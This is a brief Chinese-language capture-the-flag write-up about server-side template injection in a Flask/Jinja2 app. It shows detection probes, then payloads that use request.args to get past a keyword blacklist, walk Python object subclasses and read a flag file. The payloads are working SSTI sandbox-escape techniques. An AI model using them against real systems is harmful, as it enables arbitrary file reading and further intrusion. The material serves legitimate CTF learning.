php的标志是大象,Python的标志是蛇 。Python 的 Flask 框架( Flask 使用 Jinja2 作为模板引擎 )
点进register.php
输入{{3*4}}
输入 {{config}} 也有回显,ssti
判断是否存在ssti注入:
1. {{8*8}}
2. {{config}}
过滤了关键字,并未过滤request。
request 是 Flask 框架的一个全局对象 , 表示 " 当前请求的对象( flask.request ) " 。所以我们可以利用request.args绕过输入黑名单,进行沙箱逃逸。
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read
通过本道题,你要知道:
(1){{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read